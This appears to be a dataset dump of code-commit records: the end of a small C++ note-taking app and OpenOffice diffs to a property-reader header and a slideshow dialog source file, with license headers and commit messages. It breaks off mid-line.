save.\n\t * Command should handle validation of the collection, as\n\t * well as any updates to date modified field for the collection.\n\t *\/\n\tbool add_note(std::string text, std::string path) {\n\t\tbool inserted = false;\n\t\tNote n(text);\n\t\tif (n.save(path))\n\t\t\tinserted = true;\n\t\treturn inserted;\n\t}\n\n\t\/**\n\t * Gets all notes in a collection.\n\t *\/\n\tstd::vector<Note> get_all_notes(std::string path) {\n\t\tstd::vector<Note> notes;\n\t\tstd::ifstream inf(path);\n\t\tif (!inf)\n\t\t\tstd::cerr << \"Oh no!!! Notesy can't find or open this collection!!! :(\" << std::endl << std::endl;\n\t\telse {\n\t\t\tNote n;\n\t\t\tint ct = 0;\n\t\t\twhile (inf >> n) {\n\t\t\t\tn.set_tmpId(++ct);\n\t\t\t\tnotes.push_back(n);\n\t\t\t\tinf.ignore(1, '\\n');\n\t\t\t}\n\t\t\tinf.close();\n\t\t}\n\t\treturn notes;\n\t}\n\n\n\t\/**\n\t* Lists all notes.\n\t*\/\n\tvoid list_all_notes(std::vector<Note> ¬es)\n\t{\n\t\tprint_header();\n\t\t\/\/ use the const ref so we don't copy\n\t\tfor (const auto &iter : notes) {\n\t\t\titer.pretty_print();\n\t\t}\n\t}\n\n\t\/**\n\t* Lists all notes.\n\t*\/\n\tvoid list_all_notes(std::string path)\n\t{\n\t\tauto notes = get_all_notes(path);\n\t\tlist_all_notes(notes);\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: propread.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: sj $ $Date: 2002-11-18 12:58:25 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _PROPREAD_HXX_\n#define _PROPREAD_HXX_\n\n#ifndef _SOLAR_H\n#include <tools\/solar.h>\n#endif\n#ifndef _SVSTOR_HXX\n#include <so3\/svstor.hxx>\n#endif\n#ifndef _SV_GEN_HXX\n#include <tools\/gen.hxx>\n#endif\n#ifndef _LIST_HXX\n#include <tools\/list.hxx>\n#endif\n#ifndef _STREAM_HXX\n#include <tools\/stream.hxx>\n#endif\n#ifndef _DATETIME_HXX\n#include <tools\/datetime.hxx>\n#endif\n\n#include <tools\/string.hxx>\n\n\/\/ SummaryInformation\n#define PID_TITLE 0x02\n#define PID_SUBJECT 0x03\n#define PID_AUTHOR 0x04\n#define PID_KEYWORDS 0x05\n#define PID_COMMENTS 0x06\n#define PID_TEMPLATE 0x07\n#define PID_LASTAUTHOR 0x08\n#define PID_REVNUMBER 0x09\n#define PID_EDITTIME 0x0a\n#define PID_LASTPRINTED_DTM 0x0b\n#define PID_CREATE_DTM 0x0c\n#define PID_LASTSAVED_DTM 0x0d\n\n\/\/ DocumentSummaryInformation\n#define PID_CATEGORY 0x02\n#define PID_PRESFORMAT 0x03\n#define PID_BYTECOUNT 0x04\n#define PID_LINECOUNT 0x05\n#define PID_PARACOUNT 0x06\n#define PID_SLIDECOUNT 0x07\n#define PID_NOTECOUNT 0x08\n#define PID_HIDDENCOUNT 0x09\n#define PID_MMCLIPCOUNT 0x0a\n#define PID_SCALE 0x0b\n#define PID_HEADINGPAIR 0x0c\n#define PID_DOCPARTS 0x0d\n#define PID_MANAGER 0x0e\n#define PID_COMPANY 0x0f\n#define PID_LINKSDIRTY 0x10\n\n#define VT_EMPTY 0\n#define VT_NULL 1\n#define VT_I2 2\n#define VT_I4 3\n#define VT_R4 4\n#define VT_R8 5\n#define VT_CY 6\n#define VT_DATE 7\n#define VT_BSTR 8\n#define VT_UI4 9\n#define VT_ERROR 10\n#define VT_BOOL 11\n#define VT_VARIANT 12\n#define VT_DECIMAL 14\n#define VT_I1 16\n#define VT_UI1 17\n#define VT_UI2 18\n#define VT_I8 20\n#define VT_UI8 21\n#define VT_INT 22\n#define VT_UINT 23\n#define VT_LPSTR 30\n#define VT_LPWSTR 31\n#define VT_FILETIME 64\n#define VT_BLOB 65\n#define VT_STREAM 66\n#define VT_STORAGE 67\n#define VT_STREAMED_OBJECT 68\n#define VT_STORED_OBJECT 69\n#define VT_BLOB_OBJECT 70\n#define VT_CF 71\n#define VT_CLSID 72\n#define VT_VECTOR 0x1000\n#define VT_ARRAY 0x2000\n#define VT_BYREF 0x4000\n#define VT_TYPEMASK 0xFFF\n\n\/\/ ------------------------------------------------------------------------\n\nclass PropItem : public SvMemoryStream\n{\n sal_uInt16 mnTextEnc;\n\n public :\n PropItem(){};\n void Clear();\n\n void SetTextEncoding( sal_uInt16 nTextEnc ){ mnTextEnc = nTextEnc; };\n sal_Bool Read( String& rString, sal_uInt32 nType = VT_EMPTY, sal_Bool bDwordAlign = sal_True );\n PropItem& operator=( PropItem& rPropItem );\n};\n\n\/\/ ------------------------------------------------------------------------\n\nclass Dictionary : protected List\n{\n friend class Section;\n\n void AddProperty( UINT32 nId, const String& rString );\n\n public :\n Dictionary(){};\n ~Dictionary();\n Dictionary& operator=( Dictionary& rDictionary );\n UINT32 GetProperty( const String& rPropName );\n};\n\n\/\/ ------------------------------------------------------------------------\n\nclass Section : private List\n{\n sal_uInt16 mnTextEnc;\n\n protected:\n\n BYTE aFMTID[ 16 ];\n\n void AddProperty( sal_uInt32 nId, const sal_uInt8* pBuf, sal_uInt32 nBufSize );\n\n public:\n Section( const sal_uInt8* pFMTID );\n Section( Section& rSection );\n ~Section();\n\n Section& operator=( Section& rSection );\n sal_Bool GetProperty( sal_uInt32 nId, PropItem& rPropItem );\n sal_Bool GetDictionary( Dictionary& rDict );\n const sal_uInt8* GetFMTID() const { return aFMTID; };\n void Read( SvStorageStream* pStrm );\n};\n\n\/\/ ------------------------------------------------------------------------\n\nclass PropRead : private List\n{\n sal_Bool mbStatus;\n SvStorageStream* mpSvStream;\n\n sal_uInt16 mnByteOrder;\n sal_uInt16 mnFormat;\n sal_uInt16 mnVersionLo;\n sal_uInt16 mnVersionHi;\n sal_uInt8 mApplicationCLSID[ 16 ];\n\n void AddSection( Section& rSection );\n\n public:\n PropRead( SvStorage& rSvStorage, const String& rName );\n ~PropRead();\n\n PropRead& operator=( PropRead& rPropRead );\n const Section* GetSection( const BYTE* pFMTID );\n sal_Bool IsValid() const { return mbStatus; };\n void Read();\n};\n\n\n#endif\n\n<commit_msg>INTEGRATION: CWS mav09 (1.3.386); FILE MERGED 2004\/04\/14 14:11:55 mba 1.3.386.1: #i27773#: remove so3; new storage API<commit_after>\/*************************************************************************\n *\n * $RCSfile: propread.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: kz $ $Date: 2004-10-04 18:17:45 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _PROPREAD_HXX_\n#define _PROPREAD_HXX_\n\n#ifndef _SOLAR_H\n#include <tools\/solar.h>\n#endif\n#include <sot\/storage.hxx>\n#ifndef _SV_GEN_HXX\n#include <tools\/gen.hxx>\n#endif\n#ifndef _LIST_HXX\n#include <tools\/list.hxx>\n#endif\n#ifndef _STREAM_HXX\n#include <tools\/stream.hxx>\n#endif\n#ifndef _DATETIME_HXX\n#include <tools\/datetime.hxx>\n#endif\n\n#include <tools\/string.hxx>\n\n\/\/ SummaryInformation\n#define PID_TITLE 0x02\n#define PID_SUBJECT 0x03\n#define PID_AUTHOR 0x04\n#define PID_KEYWORDS 0x05\n#define PID_COMMENTS 0x06\n#define PID_TEMPLATE 0x07\n#define PID_LASTAUTHOR 0x08\n#define PID_REVNUMBER 0x09\n#define PID_EDITTIME 0x0a\n#define PID_LASTPRINTED_DTM 0x0b\n#define PID_CREATE_DTM 0x0c\n#define PID_LASTSAVED_DTM 0x0d\n\n\/\/ DocumentSummaryInformation\n#define PID_CATEGORY 0x02\n#define PID_PRESFORMAT 0x03\n#define PID_BYTECOUNT 0x04\n#define PID_LINECOUNT 0x05\n#define PID_PARACOUNT 0x06\n#define PID_SLIDECOUNT 0x07\n#define PID_NOTECOUNT 0x08\n#define PID_HIDDENCOUNT 0x09\n#define PID_MMCLIPCOUNT 0x0a\n#define PID_SCALE 0x0b\n#define PID_HEADINGPAIR 0x0c\n#define PID_DOCPARTS 0x0d\n#define PID_MANAGER 0x0e\n#define PID_COMPANY 0x0f\n#define PID_LINKSDIRTY 0x10\n\n#define VT_EMPTY 0\n#define VT_NULL 1\n#define VT_I2 2\n#define VT_I4 3\n#define VT_R4 4\n#define VT_R8 5\n#define VT_CY 6\n#define VT_DATE 7\n#define VT_BSTR 8\n#define VT_UI4 9\n#define VT_ERROR 10\n#define VT_BOOL 11\n#define VT_VARIANT 12\n#define VT_DECIMAL 14\n#define VT_I1 16\n#define VT_UI1 17\n#define VT_UI2 18\n#define VT_I8 20\n#define VT_UI8 21\n#define VT_INT 22\n#define VT_UINT 23\n#define VT_LPSTR 30\n#define VT_LPWSTR 31\n#define VT_FILETIME 64\n#define VT_BLOB 65\n#define VT_STREAM 66\n#define VT_STORAGE 67\n#define VT_STREAMED_OBJECT 68\n#define VT_STORED_OBJECT 69\n#define VT_BLOB_OBJECT 70\n#define VT_CF 71\n#define VT_CLSID 72\n#define VT_VECTOR 0x1000\n#define VT_ARRAY 0x2000\n#define VT_BYREF 0x4000\n#define VT_TYPEMASK 0xFFF\n\n\/\/ ------------------------------------------------------------------------\n\nclass PropItem : public SvMemoryStream\n{\n sal_uInt16 mnTextEnc;\n\n public :\n PropItem(){};\n void Clear();\n\n void SetTextEncoding( sal_uInt16 nTextEnc ){ mnTextEnc = nTextEnc; };\n sal_Bool Read( String& rString, sal_uInt32 nType = VT_EMPTY, sal_Bool bDwordAlign = sal_True );\n PropItem& operator=( PropItem& rPropItem );\n};\n\n\/\/ ------------------------------------------------------------------------\n\nclass Dictionary : protected List\n{\n friend class Section;\n\n void AddProperty( UINT32 nId, const String& rString );\n\n public :\n Dictionary(){};\n ~Dictionary();\n Dictionary& operator=( Dictionary& rDictionary );\n UINT32 GetProperty( const String& rPropName );\n};\n\n\/\/ ------------------------------------------------------------------------\n\nclass Section : private List\n{\n sal_uInt16 mnTextEnc;\n\n protected:\n\n BYTE aFMTID[ 16 ];\n\n void AddProperty( sal_uInt32 nId, const sal_uInt8* pBuf, sal_uInt32 nBufSize );\n\n public:\n Section( const sal_uInt8* pFMTID );\n Section( Section& rSection );\n ~Section();\n\n Section& operator=( Section& rSection );\n sal_Bool GetProperty( sal_uInt32 nId, PropItem& rPropItem );\n sal_Bool GetDictionary( Dictionary& rDict );\n const sal_uInt8* GetFMTID() const { return aFMTID; };\n void Read( SvStorageStream* pStrm );\n};\n\n\/\/ ------------------------------------------------------------------------\n\nclass PropRead : private List\n{\n sal_Bool mbStatus;\n SvStorageStream* mpSvStream;\n\n sal_uInt16 mnByteOrder;\n sal_uInt16 mnFormat;\n sal_uInt16 mnVersionLo;\n sal_uInt16 mnVersionHi;\n sal_uInt8 mApplicationCLSID[ 16 ];\n\n void AddSection( Section& rSection );\n\n public:\n PropRead( SvStorage& rSvStorage, const String& rName );\n ~PropRead();\n\n PropRead& operator=( PropRead& rPropRead );\n const Section* GetSection( const BYTE* pFMTID );\n sal_Bool IsValid() const { return mbStatus; };\n void Read();\n};\n\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before><commit_msg>coverity#1265810 Dereference null return value<commit_after><|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: fusldlg.cxx,v $\n *\n * $Revision: 1.1.1.1 $\n *\n * last change: $Author: hr $ $Date: 2000-09-18 16:48:36 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#pragma hdrstop\n\n#ifndef _SFXITEMSET_HXX \/\/autogen\n#include <svtools\/itemset.hxx>\n#endif\n#ifndef _MSGBOX_HXX \/\/autogen\n#include <vcl\/msgbox.hxx>\n#endif\n\n#include \"drawdoc.hxx\"\n#include \"sdpage.hxx\"\n#include \"present.hxx\"\n#include \"sdresid.hxx\"\n#include \"strings.hrc\"\n#include \"sdattr.hxx\"\n#include \"fusldlg.hxx\"\n#include \"glob.hrc\"\n\n#include \"sdmod.hxx\"\n#include \"viewshel.hxx\"\n#include \"optsitem.hxx\"\n\n\n#define ITEMVALUE(ItemSet,Id,Cast) ((const Cast&)(ItemSet).Get(Id)).GetValue()\n\nTYPEINIT1( FuSlideShowDlg, FuPoor );\n\n\n\/*************************************************************************\n|*\n|* Konstruktor\n|*\n\\************************************************************************\/\n\nFuSlideShowDlg::FuSlideShowDlg( SdViewShell* pViewSh, SdWindow* pWin,\n SdView* pView, SdDrawDocument* pDoc, SfxRequest& rReq) :\n FuPoor( pViewSh, pWin, pView, pDoc, rReq )\n{\n SfxItemSet aDlgSet( pDoc->GetPool(), ATTR_PRESENT_START, ATTR_PRESENT_END );\n List aPageNameList;\n const String& rPresPage = pDoc->GetPresPage();\n String aFirstPage;\n String aStandardName( SdResId( STR_PAGE ) );\n SdPage* pPage = NULL;\n long nPage;\n\n for( nPage = pDoc->GetSdPageCount( PK_STANDARD ) - 1L; nPage >= 0L; nPage-- )\n {\n pPage = pDoc->GetSdPage( (USHORT) nPage, PK_STANDARD );\n String* pStr = new String( pPage->GetName() );\n\n if ( !pStr->Len() )\n {\n *pStr = String( SdResId( STR_PAGE ) );\n (*pStr).Append( UniString::CreateFromInt32( nPage + 1 ) );\n }\n\n aPageNameList.Insert( pStr, (ULONG) 0 );\n\n \/\/ ist dies unsere (vorhandene) erste Seite?\n if ( rPresPage == *pStr )\n aFirstPage = rPresPage;\n else if ( pPage->IsSelected() && !aFirstPage.Len() )\n aFirstPage = *pStr;\n }\n List* pCustomShowList = pDoc->GetCustomShowList(); \/\/ No Create\n\n \/\/\/ NEU\n BOOL bStartWithActualPage = SD_MOD()->GetSdOptions( pDoc->GetDocumentType() )->IsStartWithActualPage();\n if( bStartWithActualPage )\n {\n aFirstPage = pViewSh->GetActualPage()->GetName();\n pCustomShowList = NULL;\n }\n\n if( !aFirstPage.Len() && pPage )\n aFirstPage = pPage->GetName();\n\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_ALL, pDoc->GetPresAll() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_CUSTOMSHOW, pDoc->IsCustomShow() ) );\n aDlgSet.Put( SfxStringItem( ATTR_PRESENT_DIANAME, aFirstPage ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_ENDLESS, pDoc->GetPresEndless() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_MANUEL, pDoc->GetPresManual() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_MOUSE, pDoc->GetPresMouseVisible() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_PEN, pDoc->GetPresMouseAsPen() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_NAVIGATOR, pDoc->GetStartPresWithNavigator() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_ANIMATION_ALLOWED, pDoc->IsAnimationAllowed() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_CHANGE_PAGE, !pDoc->GetPresLockedPages() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_ALWAYS_ON_TOP, pDoc->GetPresAlwaysOnTop() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_FULLSCREEN, pDoc->GetPresFullScreen() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_START_ACTUAL_PAGE, bStartWithActualPage ) );\n aDlgSet.Put( SfxUInt32Item( ATTR_PRESENT_PAUSE_TIMEOUT, pDoc->GetPresPause() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_SHOW_PAUSELOGO, pDoc->IsPresShowLogo() ) );\n\n SdStartPresentationDlg aDlg( (Window*) pWindow, aDlgSet, aPageNameList, pCustomShowList );\n\n if( aDlg.Execute() == RET_OK )\n {\n String aPage;\n ULONG nValue32;\n BOOL bValue;\n BOOL bValuesChanged = FALSE;\n\n aDlg.GetAttr( aDlgSet );\n\n aPage = ITEMVALUE( aDlgSet, ATTR_PRESENT_DIANAME, SfxStringItem );\n if( aPage != pDoc->GetPresPage() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresPage( aPage );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_ALL, SfxBoolItem );\n if ( bValue != pDoc->GetPresAll() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresAll( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_CUSTOMSHOW, SfxBoolItem );\n if ( bValue != pDoc->IsCustomShow() )\n {\n bValuesChanged = TRUE;\n pDoc->SetCustomShow( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_ENDLESS, SfxBoolItem );\n if ( bValue != pDoc->GetPresEndless() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresEndless( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_MANUEL, SfxBoolItem );\n if ( bValue != pDoc->GetPresManual() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresManual( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_MOUSE, SfxBoolItem );\n if ( bValue != pDoc->GetPresMouseVisible() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresMouseVisible( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_PEN, SfxBoolItem );\n if ( bValue != pDoc->GetPresMouseAsPen() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresMouseAsPen( bValue );\n }\n\n bValue = !ITEMVALUE( aDlgSet, ATTR_PRESENT_CHANGE_PAGE, SfxBoolItem );\n if ( bValue != pDoc->GetPresLockedPages() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresLockedPages( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_NAVIGATOR, SfxBoolItem );\n if ( bValue != pDoc->GetStartPresWithNavigator() )\n {\n bValuesChanged = TRUE;\n pDoc->SetStartPresWithNavigator( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_ANIMATION_ALLOWED, SfxBoolItem );\n if ( bValue != pDoc->IsAnimationAllowed() )\n {\n bValuesChanged = TRUE;\n pDoc->SetAnimationAllowed( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_ALWAYS_ON_TOP, SfxBoolItem );\n if ( bValue != pDoc->GetPresAlwaysOnTop() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresAlwaysOnTop( bValue );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_FULLSCREEN, SfxBoolItem );\n if ( bValue != pDoc->GetPresFullScreen() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresFullScreen( bValue );\n }\n\n nValue32 = ITEMVALUE( aDlgSet, ATTR_PRESENT_PAUSE_TIMEOUT, SfxUInt32Item );\n if( nValue32 != pDoc->GetPresPause() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresPause( nValue32 );\n }\n\n bValue = ITEMVALUE( aDlgSet, ATTR_PRESENT_SHOW_PAUSELOGO, SfxBoolItem );\n if ( bValue != pDoc->IsPresShowLogo() )\n {\n bValuesChanged = TRUE;\n pDoc->SetPresShowLogo( bValue );\n }\n\n \/\/ wenn sich etwas geaendert hat, setzen wir das Modified-Flag,\n if ( bValuesChanged )\n pDoc->SetChanged( TRUE );\n }\n\n \/\/ Strings aus Liste loeschen\n for( void* pStr = aPageNameList.First(); pStr; pStr = aPageNameList.Next() )\n delete (String*) pStr;\n}\n\n<commit_msg>INTEGRATION: CWS draw14 (1.1.1.1.182); FILE MERGED 2003\/05\/28 09:19:26 cl 1.1.1.1.182.1: #109180# changed start from current page feature<commit_after>\/*************************************************************************\n *\n * $RCSfile: fusldlg.cxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: vg $ $Date: 2003-06-04 12:27:46 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#pragma hdrstop\n\n#ifndef _SFXITEMSET_HXX \/\/autogen\n#include <svtools\/itemset.hxx>\n#endif\n#ifndef _MSGBOX_HXX \/\/autogen\n#include <vcl\/msgbox.hxx>\n#endif\n\n#include \"drawdoc.hxx\"\n#include \"sdpage.hxx\"\n#include \"present.hxx\"\n#include \"sdresid.hxx\"\n#include \"strings.hrc\"\n#include \"sdattr.hxx\"\n#include \"fusldlg.hxx\"\n#include \"glob.hrc\"\n\n#include \"sdmod.hxx\"\n#include \"viewshel.hxx\"\n#include \"optsitem.hxx\"\n\n\n#define ITEMVALUE(ItemSet,Id,Cast) ((const Cast&)(ItemSet).Get(Id)).GetValue()\n\nTYPEINIT1( FuSlideShowDlg, FuPoor );\n\n\n\/*************************************************************************\n|*\n|* Konstruktor\n|*\n\\************************************************************************\/\n\nFuSlideShowDlg::FuSlideShowDlg( SdViewShell* pViewSh, SdWindow* pWin,\n SdView* pView, SdDrawDocument* pDoc, SfxRequest& rReq) :\n FuPoor( pViewSh, pWin, pView, pDoc, rReq )\n{\n SfxItemSet aDlgSet( pDoc->GetPool(), ATTR_PRESENT_START, ATTR_PRESENT_END );\n List aPageNameList;\n const String& rPresPage = pDoc->GetPresPage();\n String aFirstPage;\n String aStandardName( SdResId( STR_PAGE ) );\n SdPage* pPage = NULL;\n long nPage;\n\n for( nPage = pDoc->GetSdPageCount( PK_STANDARD ) - 1L; nPage >= 0L; nPage-- )\n {\n pPage = pDoc->GetSdPage( (USHORT) nPage, PK_STANDARD );\n String* pStr = new String( pPage->GetName() );\n\n if ( !pStr->Len() )\n {\n *pStr = String( SdResId( STR_PAGE ) );\n (*pStr).Append( UniString::CreateFromInt32( nPage + 1 ) );\n }\n\n aPageNameList.Insert( pStr, (ULONG) 0 );\n\n \/\/ ist dies unsere (vorhandene) erste Seite?\n if ( rPresPage == *pStr )\n aFirstPage = rPresPage;\n else if ( pPage->IsSelected() && !aFirstPage.Len() )\n aFirstPage = *pStr;\n }\n List* pCustomShowList = pDoc->GetCustomShowList(); \/\/ No Create\n\n BOOL bStartWithActualPage = SD_MOD()->GetSdOptions( pDoc->GetDocumentType() )->IsStartWithActualPage();\n\/* #109180# change in behaviour, even when always start with current page is enabled, range settings are\n still used\n if( bStartWithActualPage )\n {\n aFirstPage = pViewSh->GetActualPage()->GetName();\n pCustomShowList = NULL;\n }\n*\/\n if( !aFirstPage.Len() && pPage )\n aFirstPage = pPage->GetName();\n\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_ALL, pDoc->GetPresAll() ) );\n aDlgSet.Put( SfxBoolItem( ATTR_PRESENT_CUSTOMSHOW, pDoc->IsCustomShow() ) );\n aDlgSet.Put( SfxStringItem( ATTR_PRESENT_DIANAME, aFirstPage ) );\n aDlgSet.Put( SfxBoolItem( 